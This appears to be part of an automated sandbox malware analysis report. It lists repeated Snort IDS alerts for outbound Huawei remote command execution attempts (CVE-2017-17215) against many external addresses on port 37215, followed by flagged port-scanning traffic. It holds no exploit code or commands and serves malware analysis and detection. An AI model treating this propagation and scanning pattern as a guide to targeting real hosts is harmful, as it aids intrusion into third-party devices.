Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:48046 -> 197.167.77.113:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:48046 -> 197.167.77.113:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:38164 -> 156.162.243.21:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:38164 -> 156.162.243.21:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:56786 -> 197.59.140.99:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:56786 -> 197.59.140.99:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:52364 -> 197.238.227.229:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:52364 -> 197.238.227.229:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:49654 -> 197.98.178.183:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:49654 -> 197.98.178.183:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:40448 -> 156.11.232.27:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:40448 -> 156.11.232.27:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:43020 -> 156.253.209.134:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:43020 -> 156.253.209.134:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:42370 -> 197.218.185.191:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:42370 -> 197.218.185.191:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:55096 -> 41.59.124.13:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:55096 -> 41.59.124.13:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:42996 -> 197.211.105.203:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:42996 -> 197.211.105.203:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:34938 -> 156.205.120.113:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:34938 -> 156.205.120.113:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:33426 -> 41.199.166.65:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:33426 -> 41.199.166.65:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:41584 -> 41.169.217.182:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:41584 -> 41.169.217.182:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:52142 -> 197.94.187.63:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:52142 -> 197.94.187.63:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:51814 -> 197.105.195.56:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:51814 -> 197.105.195.56:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:42506 -> 197.235.137.220:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:42506 -> 197.235.137.220:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:36414 -> 156.115.29.3:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:36414 -> 156.115.29.3:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:36348 -> 41.222.149.196:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:36348 -> 41.222.149.196:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:34742 -> 156.230.39.62:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:34742 -> 156.230.39.62:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:41890 -> 197.253.99.100:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:41890 -> 197.253.99.100:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:50702 -> 156.238.163.110:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:50702 -> 156.238.163.110:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:33786 -> 156.179.78.181:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:33786 -> 156.179.78.181:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:50096 -> 156.175.16.45:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:50096 -> 156.175.16.45:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:51092 -> 197.21.231.68:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:51092 -> 197.21.231.68:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:46642 -> 41.205.70.44:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:46642 -> 41.205.70.44:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:38456 -> 156.139.95.100:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:38456 -> 156.139.95.100:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:48102 -> 41.41.194.38:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:48102 -> 41.41.194.38:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:43292 -> 41.102.185.160:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:43292 -> 41.102.185.160:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:40686 -> 41.219.156.112:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:40686 -> 41.219.156.112:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:35252 -> 41.136.197.138:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:35252 -> 41.136.197.138:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:45440 -> 197.110.124.70:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:45440 -> 197.110.124.70:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:44468 -> 156.134.62.117:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:44468 -> 156.134.62.117:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:57854 -> 156.211.139.234:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:57854 -> 156.211.139.234:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:33540 -> 41.69.228.208:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:33540 -> 41.69.228.208:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:37698 -> 41.34.192.208:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:37698 -> 41.34.192.208:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:55306 -> 156.199.176.162:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:55306 -> 156.199.176.162:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:60154 -> 197.176.59.104:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:60154 -> 197.176.59.104:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:48850 -> 156.202.215.189:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:48850 -> 156.202.215.189:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:36522 -> 41.139.140.243:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:36522 -> 41.139.140.243:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:34632 -> 41.79.189.48:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:34632 -> 41.79.189.48:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:59702 -> 156.123.237.221:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:59702 -> 156.123.237.221:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:60102 -> 197.140.21.238:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:60102 -> 197.140.21.238:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:55296 -> 156.209.45.106:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:55296 -> 156.209.45.106:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:57464 -> 41.65.114.229:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:57464 -> 41.65.114.229:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:37844 -> 156.195.94.23:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:37844 -> 156.195.94.23:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:57678 -> 41.13.119.15:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:57678 -> 41.13.119.15:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:33040 -> 156.217.108.5:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:33040 -> 156.217.108.5:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:56568 -> 197.123.247.90:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:56568 -> 197.123.247.90:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:41532 -> 197.127.189.142:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:41532 -> 197.127.189.142:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:39800 -> 156.160.21.128:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:39800 -> 156.160.21.128:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:44078 -> 41.69.149.120:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:44078 -> 41.69.149.120:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:50148 -> 156.179.233.113:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:50148 -> 156.179.233.113:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:44542 -> 41.167.61.202:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:44542 -> 41.167.61.202:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:45616 -> 41.124.122.69:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:45616 -> 41.124.122.69:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:48948 -> 41.116.99.196:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:48948 -> 41.116.99.196:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:34830 -> 197.26.246.153:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:34830 -> 197.26.246.153:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:53528 -> 41.9.80.183:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:53528 -> 41.9.80.183:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:50966 -> 156.110.2.110:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:50966 -> 156.110.2.110:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:59998 -> 41.122.109.42:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:59998 -> 41.122.109.42:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:60220 -> 41.94.153.112:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:60220 -> 41.94.153.112:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:53280 -> 156.226.178.21:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:53280 -> 156.226.178.21:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:33396 -> 41.55.41.178:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:33396 -> 41.55.41.178:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:46806 -> 197.214.46.200:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:46806 -> 197.214.46.200:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:44576 -> 197.152.159.10:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:44576 -> 197.152.159.10:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:58464 -> 41.57.17.164:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:58464 -> 41.57.17.164:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:46504 -> 197.0.201.185:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:46504 -> 197.0.201.185:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:32862 -> 41.237.134.242:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:32862 -> 41.237.134.242:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:48406 -> 41.226.55.109:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:48406 -> 41.226.55.109:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:48172 -> 156.168.245.29:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:48172 -> 156.168.245.29:37215

Connects to many ports of the same IP (likely port scanning)

Source: global traffic	TCP traffic: 41.62.199.115 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.9.88.239 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.78.13.161 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.167.122.41 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.53.81.129 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.38.42.170 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.24.139.66 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.147.113.230 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.112.46.16 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.143.243.166 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.221.129.41 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.250.250.184 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.194.19.10 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.11.121.199 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.118.92.132 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.151.251.55 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.110.181.97 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.11.6.177 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.186.90.45 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.136.243.130 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.201.148.50 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.5.128.132 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.18.60.252 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.15.193.245 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.125.140.84 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.196.240.81 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.234.232.228 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.219.70.72 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.159.169.105 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.140.76.152 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.226.176.129 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.92.111.93 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.201.14.29 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.243.244.21 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.92.212.5 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.177.48.90 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.47.68.177 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.137.56.71 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.67.226.82 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.223.92.93 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.89.36.101 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.244.207.155 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.207.96.120 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.5.141.78 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.123.58.130 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.161.209.230 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.245.32.228 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.113.11.68 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.178.187.242 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.0.100.48 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.30.124.178 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.3.246.202 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.37.141.110 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.103.142.240 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.236.106.252 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.97.62.235 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.193.155.19 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.98.83.218 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.30.139.237 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.57.11.197 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.221.145.171 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.163.10.127 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.143.57.24 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.96.80.253 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.192.210.171 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.117.1.160 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.67.60.182 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.197.138.136 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.179.100.196 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.158.211.230 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.218.28.17 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.172.155.122 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.239.8.85 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.53.161.229 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.7.1.172 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.168.80.221 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.10.180.100 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.34.211.222 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.224.63.34 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.10.20.117 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.94.210.141 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.200.225.136 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.174.51.18 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.92.127.129 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.72.196.183 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.33.14.33 ports 1,2,3,5,7,37215
